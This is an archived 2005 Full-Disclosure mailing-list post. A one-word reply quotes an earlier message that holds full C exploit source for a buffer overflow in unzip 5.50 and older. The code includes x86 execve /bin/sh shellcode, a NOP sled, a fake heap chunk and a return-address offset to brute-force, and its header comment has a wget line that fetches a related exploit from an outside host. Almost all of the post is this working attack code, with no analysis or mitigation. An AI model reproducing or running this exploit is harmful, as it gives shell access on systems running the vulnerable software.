full-disclosure - Unzip *ALL* verisons ;))

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Date: Mon Dec 19 23:19:58 2005
From: fd at g-0.org (GroundZero Security)
Subject: Unzip *ALL* verisons ;))

LOL!

----- Original Message ----- 
From: "KF (lists)" <kf_lists@...italmunition.com>
To: <full-disclosure@...ts.grok.org.uk>
Sent: Monday, December 19, 2005 10:42 PM
Subject: Re: [Full-disclosure] Unzip *ALL* verisons ;))


> Im thinking this is a pretty old school bug... this is damn old code I 
> believe. I know its something I found while working at Snosoft but I 
> have no clue when.
> 
> /*
> By DVDMAN (DVDMAN@...TSECURITY.COM)dvdman@...soft.com
> http://www.snosoft.com
> http://WWW.L33TSECURITY.COM
> L33T SECURITY
> Keep It Private
> 
> based on code by hackbox.ath.cx
>  > wget http://hackbox.ath.cx/mizc/unzip-expl.c
> 
> lame unzip <= 5.50
> tested on redhat 7.2
> By DVDMAN
> L33TSECURITY.COM
> */
> 
> 
> #include <stdio.h>
> #include <unistd.h>
> #include <stdlib.h>
> #define MAX "\x39\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30"
> #define BUF 3264+1900+20000
> #define LOC 3262
> #define OFFSET 700 // brute force it
> char fakechunk[] = "\xf0\xff\xff\xff"
> "\xfc\xff\xff\xff"
> "\xde\x16\xe8\x77"
> "\x42\x6c\xe8\x77";
> char execshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
> "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89"
> "\xc2\xb0\x0b\xcd\x80\x89\xc3\x31\xc0\x40"
> "\xcd\x80"; /* newroot's shellcode */
> 
> int
> main (int argc, char *argv[])
> {
> 
> char buf[BUF + 1];
> int x;
> char *ptr;
> int i=0,offset=OFFSET;
> unsigned long addy = 0xbffffab0;
> if (argc < 2) {
> printf("[L33TSECURITY]");
> printf("UNZIP EXPLOIT BY DVDMAN ");
> printf("[L33TSECURITY]\n");
> printf("[Usage] %s Offset\n",argv[0]);
> return;
> }
> if (argc > 1) offset = atoi(argv[1]);
> 
> memset(buf,0x90,BUF);
> ptr = buf + ((BUF) - strlen(execshell));
> 
> for (i=0;i<strlen(execshell);i++)
> *(ptr++) = execshell[i];
> 
> *(long*)&buf[LOC] = addy + offset;
> *(long*)&buf[LOC+4] = addy + offset;
> 
> buf[BUF] = 0;
> if (buf < MAX) {
> x = atoi(fakechunk + 2);
> memset(buf,x,BUF);
> execl("/usr/bin/unzip","unzip",buf,NULL);
> }
> execl("/usr/bin/unzip","unzip",buf,fakechunk,NULL);
> return;
> }
> _______________________________________________
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